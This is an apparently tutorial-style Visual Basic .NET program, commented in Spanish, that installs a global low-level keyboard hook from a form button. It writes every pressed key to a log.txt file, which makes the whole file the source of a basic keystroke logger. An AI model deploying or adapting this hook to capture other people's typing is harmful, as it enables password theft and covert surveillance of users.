Visual Basic.NET - Modificar mensajes de captura de teclado.

Imports System.Runtime.InteropServices

Imports System.IO

Imports System.Threading

Imports System.Windows.Forms

Public Class Form1

    Enum Constantes As Integer

        WH_KEYBOARD_LL = 13

        HC_ACTION = 0

        WM_KEYDOWN = &H100

        WM_KEYUP = &H101

        WM_SYSKEYDOWN = &H104

        WM_SYSKEYUP = &H105

    End Enum '-> Constantes utilizadas en el Hook Global

    <StructLayout(LayoutKind.Sequential)> _

    Public Class KBDLLHOOKSTRUCT

        Public vkCode As UInt32

        Public scanCode As UInt32

        Public flags As UInt32

        Public time As UInt32

        Public dwExtraInfo As UIntPtr

    End Class '-> Estructura que contiene los mensajes interceptados por el Hook

#Region "Declaraciones_API"

    <DllImport("user32.dll")> _

    Friend Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal lpfn As HookProc, ByVal hInstance As IntPtr, ByVal threadId As Integer) As Integer

    End Function

    <DllImport("user32.dll")> _

    Friend Shared Function CallNextHookEx(ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer

    End Function

    <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _

    Public Shared Function GetModuleHandle(ByVal lpModuleName As String) As IntPtr

    End Function

    <DllImport("user32.dll", SetLastError:=True)> _

    Public Shared Function UnhookWindowsHookEx(ByVal hhk As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean

    End Function

#End Region '-> Declaraciones de APIs para el uso de Hooks (SetWindowsHookEx...)

    Enum HookType As Integer

        WH_JOURNALRECORD = 0

        WH_JOURNALPLAYBACK = 1

        WH_KEYBOARD = 2

        WH_GETMESSAGE = 3

        WH_CALLWNDPROC = 4

        WH_CBT = 5

        WH_SYSMSGFILTER = 6

        WH_MOUSE = 7

        WH_HARDWARE = 8

        WH_DEBUG = 9

        WH_SHELL = 10

        WH_FOREGROUNDIDLE = 11

        WH_CALLWNDPROCRET = 12

        WH_KEYBOARD_LL = 13

        WH_MOUSE_LL = 14

    End Enum '-> Tipos de Hooks para monitorizar mensajes

    'Declaramos un delegado y le asignamos sus respectivos argumentos

    Delegate Function HookProc(ByVal code As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer

    Private CallbackDelegate As HookProc = Nothing

    'Declaramos la variable Hook. Será la encargada de almacenar la direccion de memoria del Hook

    Dim hook As IntPtr = IntPtr.Zero

    'Procedimiento asociado al puntero AddressOf(CallBackDelegate)

    Private Function HookprocHandler(code As Integer, wParam As IntPtr, lParam As KBDLLHOOKSTRUCT) As Integer

        Try

            'Code es la variable encargada de decir si existe un mensaje. Si code !=0 no habra nada.

            If (code < 0) Then

                'Damos paso al siguiente Hook y procedemos con el continuamiento del Sistema

                Return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)

            Else

                Dim sr As New StreamWriter(CurDir() & "\log.txt", True)

                'Segun el código devuelto a la pulsación de la tecla (257,258)

                Select Case wParam

                    Case Constantes.WM_KEYDOWN, Constantes.WM_SYSKEYDOWN

                        Dim key As Char = ChrW(lParam.vkCode) 'Imprimimos el caracter ASCII en pantalla

                        sr.Write(key)

                End Select

                sr.Close()

                Return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)

            End If

        Catch ex As Exception

        End Try

        Return 1

    End Function

    Private Sub Iniciar_Hook()

        Try

            'Asociamos a dicho procedimiento un puntero hacia el controlador del Hook (HookProcHandler)

            CallbackDelegate = New HookProc(AddressOf HookprocHandler)

            If hook <> 0 Then

                'Desinstalamos el Hook

                UnhookWindowsHookEx(hook)

                hook = IntPtr.Zero

                btn_hook.Text = "Hookear Teclado"

            Else

                'Instalamos un Hook Global (LowLevelKeyBoard) y llamamos a la funcion HookProcHandler

                'Los ultimos dos parametros indican el HINSTANCE y PID, se utilizarian en caso de Hook local _

                'empleados en juegos y demás.

                hook = SetWindowsHookEx(HookType.WH_KEYBOARD_LL, CallbackDelegate, 0, 0)

                btn_hook.Text = "Desinstalar Hook"

                FileSystem.Kill(CurDir() & "\log.txt")

            End If

        Catch ex As Exception

        End Try

    End Sub

    Private Sub btn_hook_Click(sender As System.Object, e As System.EventArgs) Handles btn_hook.Click

        Iniciar_Hook()

    End Sub

End Class